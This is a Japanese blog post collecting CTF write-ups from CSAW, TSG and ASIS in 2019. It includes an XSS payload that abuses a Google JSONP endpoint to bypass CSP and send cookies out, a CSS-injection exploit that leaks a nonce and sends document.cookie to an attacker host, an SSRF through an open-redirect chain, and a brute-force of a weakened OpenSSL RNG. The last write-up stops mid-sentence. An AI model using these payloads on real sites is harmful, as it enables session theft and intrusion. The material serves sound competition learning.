CSAW CTF 2019 Qualification Writeup - babycsp (web 50)

最近CTFでてもWriteup書いてなかったのでかく。解いたのはWebの3問。

問題としてはユーザーの入力を保存しておいて、それを表示でき、さらに管理者に通報機能で投稿を管理者にもアクセスさせることができるという最近よくあるパターンの問題。投稿の表示画面にはXSS脆弱性があるがCSPで守られている。きっと管理者のCookieを盗み出せばいいんだろうと想定し、どうやってCSPを突破すれば良いか考えた。

f:id:iso0:20190916161232p:plainf:id:iso0:20190916161349p:plain

CSPの指定は次の通り。

Content-Security-Policy: default-src 'self'; script-src 'self' *.google.com; connect-src *

ここで*.google.comscript-srcに指定されていることに注目。CSPによる制限をBypassする方法としてJSONPを利用する方法がよく知られていて、*.google.comが指定されている場合はこの手法を使うことができる。

具体的なURLはググれば出てくるが、例えば以下にまとめられている情報が役に立った。

github.com

上記のページにいくつかのJSONPエンドポイントがまとめられているが、記号の利用が制限されていたりする場合がありいくつか試した結果https://accounts.google.com/o/oauth2/revoke?callback=が最も使いやすかった。

次のようなスクリプトを投稿に書き込み管理者に閲覧してもらうとRequestbinなどを使ってCookieを入手することができる。

<script src="https://accounts.google.com/o/oauth2/revoke?callback=location%3D%27https%3A%2F%2Fexample%2Ecom%2F%3F%27%2Bdocument%2Ecookie%3B"></script>

上記のリクエストで返ってくるJavaScriptは次の通り。

// API callback
location='https://example.com/?'+document.cookie;({
  "error": {
    "code": 400,
    "message": "Invalid JSONP callback name: 'location='https://example.com/?'+document.cookie;'; only alphabet, number, '_', '$', '.', '[' and ']' are allowed.",
    "status": "INVALID_ARGUMENT"
  }
}
);
flag{csp_will_solve_EVERYTHING}

TSG CTF 2019 Writeup - BADNONCE Part 1

問題

Reining in the Web with ...?

http://35.187.214.138:10023/?q=XSS

Please send the flag1.

解き方

問題の調査

与えられたページにアクセスするとそのページのPHPのコードが入手できる。

<?php
session_start();
$nonce = md5(session_id());
$_SESSION['count'] = isset($_SESSION['count']) ? $_SESSION['count'] + 1 : 0;
if ($_SESSION['count'] > 3){
    setcookie('flag2', null, -1, '/');
}
if (!isset($_GET['q'])){
    header('Location: /?q=[XSS]');
}
?>
<html>
    <head>
        <meta http-equiv="Content-Security-Policy" content="script-src 'nonce-<?= $nonce ?>';">
        <title>BADNONCE</title>
        <style>.container{width: 80%;font-size: 17px;} .bold{font-weight: bold;} .note{font-size: 10px;}</style>
    </head>
    <body>
        <h1>BADNONCE</h1>
        <div id="container" class="container">
            <div id="crawler">
                <p>You can send me an URL from <a href="/submit/">here</a>.</p>
                <p>Administrators will check your link. <a href="/part_of_crawler.js">Here is the part of the crawler administrators use.</a></p>
                <p>This session id was used <?= $_SESSION['count'] ?> times :-)</p>
            </div>
            <div id="q" class="note">
                <p class="bold">This page uses Content-Security-Policy (CSP). Therefore it's safe from XSS! :-)</p>
                <script nonce=<?= $nonce ?>>
                               console.log('Welcome to the dungeon :-)');
                </script>
            </div>
        </div>
        <!-- Here is an injection point :-) -->
        <?= $_GET['q'] ?>
        <hr>
        <div>
            <h2>src of this page</h2>
            <?php highlight_file(__FILE__); ?>
        </div>
    </body>
</html>

ざっと見るとこんな感じ。

  • このページはXSSできるがCSPが設定されている
  • CSPはscript-src nonce-XXXのタイプ
  • CSPのnonceはmd5(session_id())で生成されている

また、このadminに任意のページにアクセスさせることができる機能もある。

f:id:iso0:20190505210213p:plain

そしてクロール機能のコードの一部も提供されている。

const puppeteer = require('puppeteer');
const flag1 = process.env.FLAG1;
const flag2 = process.env.FLAG2;

const current_host = process.env.CURRENT_HOST;
const url_base = process.env.APP_URL_BASE;
const timeout = parseInt(process.env.TIMEOUT);

const browser_option = {
    executablePath: 'google-chrome-stable',
    headless: true,
    args: [
        '--no-sandbox',
        '--disable-background-networking',
        '--disable-default-apps',
        '--disable-extensions',
        '--disable-gpu',
        '--disable-sync',
        '--disable-translate',
        '--hide-scrollbars',
        '--metrics-recording-only',
        '--mute-audio',
        '--no-first-run',
        '--safebrowsing-disable-auto-update',
    ],
};
const cookies = [
    {
        "domain": current_host,
        "expirationDate": 1597288045,
        "hostOnly": false,
        "httpOnly": false,
        "name": "flag1",
        "path": "/",
        "sameSite": "no_restriction",
        "secure": false,
        "session": false,
        "storeId": "0",
        "value": flag1,
        "id": 1
    },
    {
        "domain": current_host,
        "expirationDate": 1597288045,
        "hostOnly": false,
        "httpOnly": false,
        "name": "flag2",
        "path": "/",
        "sameSite": "no_restriction",
        "secure": false,
        "session": false,
        "storeId": "0",
        "value": flag2,
        "id": 1
    }];


/* ... */
const browser = await puppeteer.launch(browser_option);
try {
    const page = await browser.newPage();
    await page.goto(url_base, {
        timeout: 3000,
        waitUntil: 'networkidle2'
    });
    await page.setCookie(...cookies);
    await page.goto(url, {
        timeout: timeout,
        waitUntil: 'networkidle0'
    });
} catch (err){
    console.log(err);
}
await browser.close();
/* ... */

方針

flagはクローラーCookieに入っているが、Cookieの入手にはCSPを突破してJavaScriptを動かす必要がある。CSPの突破にはnonceを入手する必要がある。nonceは属性値であり、CSS Injectionを利用した属性値の窃取テクニックが使えそう*1

flagの入手

次のような手順でnonceを入手し、flagを得ることができる。

  1. 用意した罠ページのiframeに攻撃対象のページを読み込む。この際、攻撃対象のページにはnonceの1文字目を外部に送信させるようなCSSをインジェクションしておく。
  2. サーバーでnonceの1文字目を受信したら罠ページに対して2文字目を漏洩させる処理に移るよう指令を出す。
  3. 罠ページはiframeの攻撃対象のページを読み込み直す。この際、攻撃対象のページにnonceの2文字目を外部に送信させるようなCSSをインジェクションしておく。
  4. 1 〜 3を繰り返し、nonceが全て入手できたらそのnonceを使ってCookieを外部に送信させるJavaScriptをインジェクションした攻撃対象ページをiframeに読み込む。

コードにするとこんな感じ。

罠ページのhtml

<body><script src=a.js></script></body>

a.js

const sleep = msec => new Promise(resolve => setTimeout(resolve, msec));
const serverhost = 'YOUR HOSTNAME'

(async () => {
    const iframe = document.createElement('iframe')
    document.body.appendChild(iframe)
    let nonce = ''
    let inject

    while (true) {
        inject = `<link rel="stylesheet" type="text/css" href="http://${serverhost}/css?n=' + nonce + '">`
        iframe.src = 'http://35.187.214.138:10023/?q=' + encodeURIComponent(inject)
        while (true) {
            const response = await fetch(`http://${serverhost}/`);
            const resp = await response.text()
            if (resp !== nonce) {
                nonce = resp
                break
            }
            await sleep(100)
        }
        if (nonce.length === 32) break
    }
    inject = `<script nonce=${nonce}>(new Image).src='http://${serverhost}/?'+document.cookie</script>`
    iframe.src = 'http://35.187.214.138:10023/?q=' + encodeURIComponent(inject);
})();

サーバー

from flask import Flask, Response, request
from flask_cors import CORS

HOST = "YOUR HOSTNAME"
app = Flask(__name__)
CORS(app)
nonce = ""


@app.route("/css")
def css():
    resp = []
    non = request.args.get("n")
    for ce in "0123456789abcdef":
        resp.append(
            f'script[nonce^="{non}{ce}"] {{background:url("http://{HOST}/n?n={non}{ce}");}} '
        )
    return Response("".join(resp), mimetype="text/css")


@app.route("/n")
def n():
    global nonce
    if len(nonce) < len(request.args.get("n")):
        nonce = request.args.get("n")
    return "ok"


@app.route("/")
def index():
    global nonce
    return nonce

*1:具体的には過去のWriteupに書いてある。 https://0xiso.hatenablog.com/entry/2018/10/28/215226

TSG CTF 2019 Writeup - Recorded

tl;dr

/dev/input/event1の記録が与えられ、そこからflagをどのように暗号化したかを特定し、復号する問題。/dev/input/event1を見ていくと暗号化は最弱になるように改変されたOpenSSLによって行われており、少しのブルートフォースで解くことができる。

問題

何が起こった?

注意 これらのコマンドはJISキーボードのパソコンで実行されました。

$ sudo docker build -t problem .
$ sudo docker run -it --device=/dev/input/event1:/dev/input/event1 problem "/bin/bash"
root@hogehuga:/tmp# cat /dev/input/event1 > input &

Difficulty Estimate: Medium

与えられたファイル: Dockerfile, encrypted, input

解き方

input/dev/input/event1を記録したものなので、キーボードの入力の情報が書かれている。encryptedはflagを暗号化したものだと想定される。また、Dockerfileは次の内容であった。

FROM ubuntu:18.04
RUN apt update

RUN apt install make -y
RUN apt install vim -y
RUN apt install gcc -y
RUN apt install curl -y
RUN apt install libperl5.26 -y

COPY flag.txt /tmp/
WORKDIR /tmp/

キー入力の復元

まずはinputを調べてどのようなキー入力が行われたかを調べる。

ググるとちょうど良さそうなコードが見つかった。

stackoverflow.com

このページに書かれているコードは全てのイベントをキーコードで表示しているため、見やすくするために必要な情報だけを表示するのとキーコードを実際の文字に変換する処理を追加したコードがこちら*1

import struct
import time
import sys

import evdev


infile_path = "input"

# long int, long int, unsigned short, unsigned short, unsigned int
FORMAT = "llHHI"
EVENT_SIZE = struct.calcsize(FORMAT)

# open file in binary mode
in_file = open(infile_path, "rb")
event = in_file.read(EVENT_SIZE)

while event:
    (tv_sec, tv_usec, type, code, value) = struct.unpack(FORMAT, event)
    if type == 1 and value == 1:
        k = evdev.ecodes.KEY[code].replace("KEY_", "")
        if k == "ENTER":
            print(" [%d.%d]" % (tv_sec, tv_usec))
        else:
            if k == "SLASH":
                k = "/"
            elif k == "SPACE":
                k = "⎵"
            elif k == "MINUS":
                k = "-"
            elif k == "DOT":
                k = "."
            print(k.lower(), end=" ")

    event = in_file.read(EVENT_SIZE)

in_file.close()

そしてその出力がこちら。USキーボードの表示になっているので一部読み替える必要があることに注意。また、各入力の末尾の数字はエンターキーが押されたunix timeでこの情報も後に重要になってくる。

r m ⎵ / d e v / u r a tab  [1556368653.762255]
r m ⎵ / d e v / r a tab  [1556368657.67882]
leftshift l a n g - c ⎵ d a t e ⎵ - - u t c ⎵ leftshift . ⎵ / d e v / r a n d o m  [1556368668.52704]
e c h o ⎵ n y a n ⎵ leftshift . . ⎵ / d e v / r a tab  [1556368675.376979]
c u r l ⎵ - leftshift o ⎵ h t t p s apostrophe / / w w w . o p e n s s l . o r g / s o u r c e / o p e n s s l - 1 . 1 . 1 b . t a r . g z  [1556368702.814038]
t a r ⎵ x z v f ⎵ o p e tab  [1556368713.694218]
c d ⎵ o p e tab tab  [1556368722.29127]
v i m ⎵ c r y tab r a tab r a n d leftshift ro u n i x . c  [1556368737.298092]
6 3 7 leftshift g d 1 7 d 6 2 1 leftshift g d 2 d 6 0 3 leftshift g d d 4 8 0 leftshift g d 3 0 d apostrophe w q  [1556368782.395446]
v i m ⎵ c r tab r a tab r a tab leftshift ro l i tab  [1556368793.777170]
2 5 0 leftshift g d 2 d apostrophe w q  [1556368806.93882]
. / c o tab  [1556368808.372191]
m a k e ⎵ - j ⎵ 4  [1556368813.732588]
c d ⎵ . .  [1556368856.711424]
leftshift l d ro l i b r a r y ro p a t h - . / o p e tab ⎵ . / o p e tab a p p tab o p e tab g e n r s a ⎵ 1 0 2 4 ⎵ leftshift . ⎵ k e y . p e m  [1556368884.121900]
leftshift l d ro l i b r a r y ro p a t h - . / o p e tab ⎵ . / o p e tab a p tab o p e tab r s a u t l ⎵ - e n c r y p t ⎵ - i n k e y ⎵ k e y . tab - i n ⎵ f l tab - o u t ⎵ e n c r y p t e d  [1556368926.779365]
f d backspace g ⎵ 1  [1556368930.934979]

やっていることとは次の通り

  • /dev/urandom/dev/randomの削除
  • /dev/randomに現在時刻とnyanという文字列の書き込み
  • OpenSSL 1.1.1bのダウンロードとvimでコードの一部削除、ビルド
  • ビルドしたOpenSSLでrsa秘密鍵の生成、生成した鍵でflagの暗号化(これがencrypted

上記と全く同じ状態を作り出して鍵を生成すればflagを復号できそうである。/dev/urandomは削除されていて/dev/randomは固定されているので不可能ではなさそうな感じがする。

環境の再現

それではやっていく。なお、以降は全てDockerのubuntu:18.04イメージを使って行なっている。

まずはDockerfileと同じ状況を作る。

apt update; apt install -y make vim gcc curl libperl5.26

次にurandomの削除とrandomの書き換えを行う。ここで、inputによればrandomには現在時刻が書き込まれているがinputには時刻情報も入っているためここからrandomに書き込まれた時刻を推測できる。

rm /dev/urandom
rm /dev/random
LANG=C date --utc -d @1556368668 > /dev/random  # Sat Apr 27 12:37:48 UTC 2019
echo nyan >> /dev/random

OpenSSLの改変とビルド

適当な場所にOpenSSLをダウンロードして展開する。

curl -O https://www.openssl.org/source/openssl-1.1.1b.tar.gz
tar xf openssl-1.1.1b.tar.gz

展開したファイルをvimを使って編集していく。

crypto/rand/rand_unix.cに対して次の示す通り指定した行に移動していくつか行を削除して、、、という操作を行う。

637G d17d 621G d2d 603G dd 480G d30d :wq

crypto/rand/rand_lib.cに対しても同様にvimで次の操作を行う。

250G d2d :wq

変更を行った前と後のdiffはこんな感じ。全くよくわからないが、エラー処理と乱数生成処理の削除・変更をしているように見える。

diff --git a/crypto/rand/rand_lib.c b/crypto/rand/rand_lib.c
index d8639c4..cddfb39 100644
--- a/crypto/rand/rand_lib.c
+++ b/crypto/rand/rand_lib.c
@@ -247,8 +247,6 @@ size_t rand_drbg_get_nonce(RAND_DRBG *drbg,
     data.instance = drbg;
     CRYPTO_atomic_add(&rand_nonce_count, 1, &data.count, rand_nonce_lock);
 
-    if (rand_pool_add(pool, (unsigned char *)&data, sizeof(data), 0) == 0)
-        goto err;
 
     ret   = rand_pool_length(pool);
     *pout = rand_pool_detach(pool);
diff --git a/crypto/rand/rand_unix.c b/crypto/rand/rand_unix.c
index 9cbc9ad..e7a4759 100644
--- a/crypto/rand/rand_unix.c
+++ b/crypto/rand/rand_unix.c
@@ -477,36 +477,6 @@ size_t rand_pool_acquire_entropy(RAND_POOL *pool)
     unsigned char *buffer;
 
 #   if defined(OPENSSL_RAND_SEED_GETRANDOM)
-    {
-        ssize_t bytes;
-        /* Maximum allowed number of consecutive unsuccessful attempts */
-        int attempts = 3;
-
-        bytes_needed = rand_pool_bytes_needed(pool, 1 /*entropy_factor*/);
-        while (bytes_needed != 0 && attempts-- > 0) {
-            buffer = rand_pool_add_begin(pool, bytes_needed);
-            bytes = syscall_random(buffer, bytes_needed);
-            if (bytes > 0) {
-                rand_pool_add_end(pool, bytes, 8 * bytes);
-                bytes_needed -= bytes;
-                attempts = 3; /* reset counter after successful attempt */
-            } else if (bytes < 0 && errno != EINTR) {
-                break;
-            }
-        }
-    }
-    entropy_available = rand_pool_entropy_available(pool);
-    if (entropy_available > 0)
-        return entropy_available;
-#   endif
-
-#   if defined(OPENSSL_RAND_SEED_LIBRANDOM)
-    {
-        /* Not yet implemented. */
-    }
-#   endif
-
-#   if defined(OPENSSL_RAND_SEED_DEVRANDOM)
     bytes_needed = rand_pool_bytes_needed(pool, 1 /*entropy_factor*/);
     {
         size_t i;
@@ -600,7 +570,6 @@ int rand_pool_add_nonce_data(RAND_POOL *pool)
      * different process instances.
      */
     data.pid = getpid();
-    data.tid = CRYPTO_THREAD_get_current_id();
     data.time = get_time_stamp();
 
     return rand_pool_add(pool, (unsigned char *)&data, sizeof(data), 0);
@@ -618,8 +587,6 @@ int rand_pool_add_additional_data(RAND_POOL *pool)
      * The thread id adds a little randomness if the drbg is accessed
      * concurrently (which is the case for the <master> drbg).
      */
-    data.tid = CRYPTO_THREAD_get_current_id();
-    data.time = get_timer_bits();
 
     return rand_pool_add(pool, (unsigned char *)&data, sizeof(data), 0);
 }
@@ -634,23 +601,6 @@ int rand_pool_add_additional_data(RAND_POOL *pool)
  */
 static uint64_t get_time_stamp(void)
 {
-# if defined(OSSL_POSIX_TIMER_OKAY)
-    {
-        struct timespec ts;
-
-        if (clock_gettime(CLOCK_REALTIME, &ts) == 0)
-            return TWO32TO64(ts.tv_sec, ts.tv_nsec);
-    }
-# endif
-# if defined(__unix__) \
-     || (defined(_POSIX_C_SOURCE) && _POSIX_C_SOURCE >= 200112L)
-    {
-        struct timeval tv;
-
-        if (gettimeofday(&tv, NULL) == 0)
-            return TWO32TO64(tv.tv_sec, tv.tv_usec);
-    }
-# endif
     return time(NULL);
 }

あとはこれをビルド(./config && make -j 4)して鍵を生成してみる。

LD_LIBRARY_PATH=./openssl-1.1.1b/ ./openssl-1.1.1b/apps/openssl genrsa 1024 > key.pem

何回か鍵を生成してみると毎回鍵が変わっており、作問者と同じ鍵を作れていないことに気づく。これではflagは復号できない。

コードを読んだり試行錯誤したり色々した結果、次の2つが鍵の生成に関わっていることがわかった。

  • 現在時刻
  • PID

現在時刻の固定

Dockerコンテナでは現在時刻の変更は基本的にできないのでどうしようかとググっていたところlibfaketimeというとんでもなく便利なものを見つけた。

github.com

これはコマンドの実行時に環境変数としてFAKETIME="YYYY-MM-DD hh:mm:ss"のように指定しておくと現在時刻を指定した時刻に固定することできる(他にも色々できる)。次のコマンドでインストールする。

curl -O https://github.com/wolfcw/libfaketime/archive/v0.9.7.tar.gz
tar xf v0.9.7.tar.gz
cd libfaketime-0.9.7
make install

これで以下のコマンドを試すと時刻が固定されていることがわかる。

FAKETIME="2019-04-27 12:41:24" LD_PRELOAD=/usr/local/lib/faketime/libfaketime.so.1 date
# Sat Apr 27 12:41:24 UTC 2019

時刻の固定ができたので鍵を再生成してみるが、前述の通りPIDも鍵の生成に関わっているので生成するたびに異なる鍵ができてしまう。なお、時刻はinputから取得した時刻を使っている。

FAKETIME="2019-04-27 12:41:24" LD_PRELOAD=/usr/local/lib/faketime/libfaketime.so.1 LD_LIBRARY_PATH=./openssl-1.1.1b/ ./openssl-1.1.1b/apps/openssl genrsa 1024 > key.pem

PIDの固定

OpenSSLのコードを眺めていたところnonceの生成にPIDが使われていることがわかった。

int rand_pool_add_nonce_data(RAND_POOL *pool)
{
    struct {
        pid_t pid;
        CRYPTO_THREAD_ID tid;
        uint64_t time;
    } data = { 0 };

    /*
     * Add process id, thread id, and a high resolution timestamp to
     * ensure that the nonce is unique with high probability for
     * different process instances.
     */
    data.pid = getpid();
    data.time = get_time_stamp();

    return rand_pool_add(pool, (unsigned char *)&data, sizeof(data), 0);
}

data.pidの値を1に書き換えてビルドし直し、時刻を固定して鍵を生成したところ何度生成しても同じ鍵が出来上がることがわかった。残念ながらflagの暗号化に使った鍵の生成時のPIDはわからない(推測はできる?)がLinuxのPIDのデフォルトの上限は32768なので総当たりで試せばflagが復号できそうだ。

PIDの取得処理を次のように書き換えて環境変数FAKEPIDからOpenSSL内で使われるPID番号を変更できるようにする。

data.pid = atoi(getenv("FAKEPID"));

flagの入手

あとはPIDをブルートフォースで見つけるだけ。以下のスクリプトをしばらく回しておいたらPID=8781でflagを復号することができた。

for i in {1..32768}; do
    echo $i
    FAKEPID=$i LD_PRELOAD=/usr/local/lib/faketime/libfaketime.so.1 FAKETIME="2019-04-27 12:41:24" LD_LIBRARY_PATH=./openssl-1.1.1b/ ./openssl-1.1.1b/apps/openssl genrsa 1024 > /tmp/key.pem 2>/dev/null
    cat encrypted | FAKEPID=1 LD_LIBRARY_PATH=./openssl-1.1.1b/ ./openssl-1.1.1b/apps/openssl rsautl -decrypt -inkey /tmp/key.pem -raw | grep -a TSGCTF && break
done
TSGCTF{openssl_genrsa_is_hardly_predictable}

どうやら一番最初に解けたっぽい。

f:id:iso0:20190505191356p:plain

*1:キーコードから実際のキーへの変換はpython-evdevを使っているが、MacにインストールできなかったのでDocker上で動かしている。

ASIS CTF Quals 2019 - Imagyy Part III Writeup

この問題はImagyy Main SiteとImagyy Part IIの続きのようで、問題を解く際にImagyy Main SiteのWebサイトの機能を使う必要がある(たぶん)。Imagyy Part IIを解こうとしていたところ、たまたまImagyy Part IIIのflagを手に入れてしまった。なお、Imagyy Part IIは結局解けなかった。

Imagyy Part IIで与えられたURLにアクセスすると次のページが表示される。

f:id:iso0:20190424020629p:plain

このページにアクセスすると裏では/fetcherに次のデータ(URLデコード済み)をPOSTする。

uri=/users/{userId}/image/{imageId}&method=get&params={"userId": "101", "imageId": "1000001"}

uri=/とすると次の応答が返ってくる。

{"result":{"code":404,"data":{"data":"Invalid API method","endpoint":"/api/v1/"}}}

/にアクセスしたいが.ブラックリストされているようで.%2eを含めるとSecurity failed.と怒られてしまう。しかし、%252eのように2回URLエンコードすることでこれを回避できる。

uri=/%252e%252e/%252e%252e/とすることでAPIの一覧を入手することができる。

{
  "image_api": {
    "ip": "198.211.125.37",
    "port": 5004,
    "routes": [
      {
        "name": "query",
        "params": {},
        "path": "",
        "keys": [],
        "regexp": {
          "fast_star": false,
          "fast_slash": true
        }
      },
      {
        "name": "expressInit",
        "params": {},
        "path": "",
        "keys": [],
        "regexp": {
          "fast_star": false,
          "fast_slash": true
        }
      },
      {
        "name": "<anonymous>",
        "params": {},
        "path": "",
        "keys": [],
        "regexp": {
          "fast_star": false,
          "fast_slash": true
        }
      },
      {
        "name": "jsonParser",
        "params": {},
        "path": "",
        "keys": [],
        "regexp": {
          "fast_star": false,
          "fast_slash": true
        }
      },
      {
        "name": "<anonymous>",
        "params": {},
        "path": "",
        "keys": [],
        "regexp": {
          "fast_star": false,
          "fast_slash": true
        }
      },
      {
        "name": "bound dispatch",
        "keys": [
          {
            "name": "userId",
            "optional": false,
            "offset": 17
          },
          {
            "name": "imageId",
            "optional": false,
            "offset": 38
          }
        ],
        "regexp": {
          "fast_star": false,
          "fast_slash": false
        },
        "route": {
          "path": "/api/v1/users/:userId/edit/:imageId",
          "stack": [
            {
              "name": "<anonymous>",
              "keys": [],
              "regexp": {
                "fast_star": false,
                "fast_slash": false
              },
              "method": "post"
            }
          ],
          "methods": {
            "post": true
          }
        }
      },
      {
        "name": "bound dispatch",
        "keys": [
          {
            "name": "userId",
            "optional": false,
            "offset": 17
          },
          {
            "name": "imageId",
            "optional": false,
            "offset": 40
          }
        ],
        "regexp": {
          "fast_star": false,
          "fast_slash": false
        },
        "route": {
          "path": "/api/v1/users/:userId/delete/:imageId",
          "stack": [
            {
              "name": "<anonymous>",
              "keys": [],
              "regexp": {
                "fast_star": false,
                "fast_slash": false
              },
              "method": "post"
            }
          ],
          "methods": {
            "post": true
          }
        }
      },
      {
        "name": "bound dispatch",
        "params": {},
        "path": "/",
        "keys": [],
        "regexp": {
          "fast_star": false,
          "fast_slash": false
        },
        "route": {
          "path": "/",
          "stack": [
            {
              "name": "<anonymous>",
              "keys": [],
              "regexp": {
                "fast_star": false,
                "fast_slash": false
              },
              "method": "get"
            }
          ],
          "methods": {
            "get": true
          }
        }
      },
      {
        "name": "bound dispatch",
        "keys": [
          {
            "name": "uri",
            "optional": false,
            "offset": 4
          }
        ],
        "regexp": {
          "fast_star": false,
          "fast_slash": false
        },
        "route": {
          "path": "/m/:uri",
          "stack": [
            {
              "name": "<anonymous>",
              "keys": [],
              "regexp": {
                "fast_star": false,
                "fast_slash": false
              },
              "method": "get"
            }
          ],
          "methods": {
            "get": true
          }
        }
      },
      {
        "name": "bound dispatch",
        "params": {},
        "path": "/api/v1/",
        "keys": [],
        "regexp": {
          "fast_star": false,
          "fast_slash": false
        },
        "route": {
          "path": "/api/v1/",
          "stack": [
            {
              "name": "<anonymous>",
              "keys": [],
              "regexp": {
                "fast_star": false,
                "fast_slash": false
              },
              "method": "get"
            }
          ],
          "methods": {
            "get": true
          }
        }
      },
      {
        "name": "bound dispatch",
        "keys": [
          {
            "name": "userId",
            "optional": false,
            "offset": 17
          },
          {
            "name": "imageId",
            "optional": false,
            "offset": 39
          }
        ],
        "regexp": {
          "fast_star": false,
          "fast_slash": false
        },
        "route": {
          "path": "/api/v1/users/:userId/image/:imageId",
          "stack": [
            {
              "name": "<anonymous>",
              "keys": [],
              "regexp": {
                "fast_star": false,
                "fast_slash": false
              },
              "method": "get"
            }
          ],
          "methods": {
            "get": true
          }
        }
      }
    ]
  },
  "auth_api": {
    "ip": "198.211.125.37",
    "port": 5003,
    "routes": [
      {
        "name": "query",
        "params": {},
        "path": "",
        "keys": [],
        "regexp": {
          "fast_star": false,
          "fast_slash": true
        }
      },
      {
        "name": "expressInit",
        "params": {},
        "path": "",
        "keys": [],
        "regexp": {
          "fast_star": false,
          "fast_slash": true
        }
      },
      {
        "name": "<anonymous>",
        "params": {},
        "path": "",
        "keys": [],
        "regexp": {
          "fast_star": false,
          "fast_slash": true
        }
      },
      {
        "name": "jsonParser",
        "params": {},
        "path": "",
        "keys": [],
        "regexp": {
          "fast_star": false,
          "fast_slash": true
        }
      },
      {
        "name": "<anonymous>",
        "params": {},
        "path": "",
        "keys": [],
        "regexp": {
          "fast_star": false,
          "fast_slash": true
        }
      },
      {
        "name": "bound dispatch",
        "keys": [],
        "regexp": {
          "fast_star": false,
          "fast_slash": false
        },
        "route": {
          "path": "/flag",
          "stack": [
            {
              "name": "<anonymous>",
              "keys": [],
              "regexp": {
                "fast_star": false,
                "fast_slash": false
              },
              "method": "get"
            }
          ],
          "methods": {
            "get": true
          }
        }
      },
      {
        "name": "bound dispatch",
        "params": {},
        "path": "/api/v1/issueToken/ip",
        "keys": [],
        "regexp": {
          "fast_star": false,
          "fast_slash": false
        },
        "route": {
          "path": "/api/v1/issueToken/ip",
          "stack": [
            {
              "name": "<anonymous>",
              "keys": [],
              "regexp": {
                "fast_star": false,
                "fast_slash": false
              },
              "method": "get"
            }
          ],
          "methods": {
            "get": true
          }
        }
      },
      {
        "name": "bound dispatch",
        "params": {},
        "path": "/api/v1/issueToken/credentials",
        "keys": [],
        "regexp": {
          "fast_star": false,
          "fast_slash": false
        },
        "route": {
          "path": "/api/v1/issueToken/credentials",
          "stack": [
            {
              "name": "<anonymous>",
              "keys": [],
              "regexp": {
                "fast_star": false,
                "fast_slash": false
              },
              "method": "post"
            }
          ],
          "methods": {
            "post": true
          }
        }
      },
      {
        "name": "bound dispatch",
        "keys": [],
        "regexp": {
          "fast_star": false,
          "fast_slash": false
        },
        "route": {
          "path": "/api/v1/user/logout",
          "stack": [
            {
              "name": "<anonymous>",
              "keys": [],
              "regexp": {
                "fast_star": false,
                "fast_slash": false
              },
              "method": "get"
            }
          ],
          "methods": {
            "get": true
          }
        }
      },
      {
        "name": "bound dispatch",
        "params": {},
        "path": "/api/v1/user/me",
        "keys": [],
        "regexp": {
          "fast_star": false,
          "fast_slash": false
        },
        "route": {
          "path": "/api/v1/user/me",
          "stack": [
            {
              "name": "<anonymous>",
              "keys": [],
              "regexp": {
                "fast_star": false,
                "fast_slash": false
              },
              "method": "get"
            }
          ],
          "methods": {
            "get": true
          }
        }
      }
    ]
  }
}

このjsonからhttp://134.209.24.24:3000/fetcherへのpostはimage_api(198.211.125.37:5004)に送られていたということがわかる。また、auth_api(198.211.125.37:5003)という別のサーバーの存在もわかる。

興味深いエンドポイントは次の通り。なお、本記事をここまで書いたタイミングでサーバーに繋がらなくなってしまったので以降は記憶を頼りに書いていく。

上記から分かるように、まずtokenを入手する必要があるがhttp://134.209.24.24:3000/fetcherへのPOSTは198.211.125.37:5004に送られてしまう。ここでImagyy Main Siteという別の問題で37.139.17.29:8080にはオープンリダイレクタが存在していることを知っている必要がある。これを使うことで、http://198.211.125.37:5004/m/:uri -> http://37.139.17.29:8080/のオープンリダイレクタ -> http://198.211.125.37:5003/api/v1/issueToken/ipというリダイレクトのチェーンが可能となる。

あとは、http://134.209.24.24:3000/fetcherに対して前述のリダイレクトチェーンを行うようなリクエストをPOSTすることでtokenを入手し、入手したtokenを付与してhttp://198.211.125.37:5003/flagにアクセスすることでflagを入手できる。

ちなみにこの問題の1番最初の回答者でした。

f:id:iso0:20190424025452p:plain

ASIS CTF Quals 2019 - Dead Engine Writeup

調査

与えられたURLにアクセスすると次のようなページが表示される。何らかの検索サイトっぽい。

f:id:iso0:20190424004814p:plain

*を入力すると色々結果が出てくる。

f:id:iso0:20190424004907p:plain

このときのサーバーへのリクエストとその応答は次の通り。

POST /?action HTTP/1.1
Host: 192.241.183.207
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Content-Length: 19

q=*&endpoint=search
[{"title":"Test hack password ctf","_id":"AWoSY9ipLaY_ZeX1ck7_","_type":"articles","downloadLink":"https:\/\/127.0.0.1\/"},{"title":"CompTIA Network+","_id":"AWoSY9iqLaY_ZeX1ck8B","_type":"articles","downloadLink":"https:\/\/www.amazon.com\/CompTIA-Network-Certification-Seventh-N10-007\/dp\/1260122387"},{"title":"Cracking Codes with Python","_id":"AWoSY9iqLaY_ZeX1ck8A","_type":"articles","downloadLink":"https:\/\/www.amazon.com\/Cracking-Codes-Python-Introduction-Building\/dp\/1593278225"},{"title":"The Web Application Hacker's Handbook","_id":"AWoSY9ieLaY_ZeX1ck79","_type":"articles","downloadLink":"https:\/\/www.amazon.co.uk\/Web-Application-Hackers-Handbook-Exploiting\/dp\/1118026470"},{"title":"Red Team Field Manual","_id":"AWoSY9iiLaY_ZeX1ck7-","_type":"articles","downloadLink":"https:\/\/www.amazon.co.uk\/Rtfm-Red-Team-Field-Manual\/dp\/1494295504"}]

a aと入力するとエラーになる。

f:id:iso0:20190424004936p:plain

このときの応答はillegal_argument_exceptionであり、このエラーメッセージからバックエンドではElasticsearchを使っていることがわかる。

検索結果をクリックすると次のようなリクエストが投げられる。

POST /?action HTTP/1.1
Host: 192.241.183.207
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Content-Length: 23

id=AWoSY9ipLaY_ZeX1ck7_

応答はこんな感じ。

"{\"_index\":\"articles\",\"_type\":\"articles\",\"_id\":\"AWoSY9ipLaY_ZeX1ck7_\",\"_version\":1,\"found\":true,\"_source\":{\"title\":\"Test hack password ctf\",\"category\":\"Computing & Internet -> Networking & Security\",\"downloadLink\":\"https:\/\/127.0.0.1\/\",\"rating\":5,\"price\":\"1000\",\"access\":\"nowhere\",\"date\":\"4\/12\/2019, 4:31:34 PM\"}}"

解き方

ガチャガチャいじっている中で、q=aaa&endpoint=/bbbというリクエストを投げるとError while JSON decoding:No handler found for uri [/articles/articles/_/bbb?q=aaa] and method [GET]というエラーが返ってきた。

/bbbにはもともとsearchが入っていたので、どうやらElasticsearchの_searchで検索をしているということがわかる。また、検索対象をarticlesインデックスのarticlesタイプに絞っていることもわかる。全インデックスを検索対象にする場合はシンプルに/_search?q=*とすれば良い。つまり以下のようなリクエストを投げることにより全てのインデックスのデータが返される。

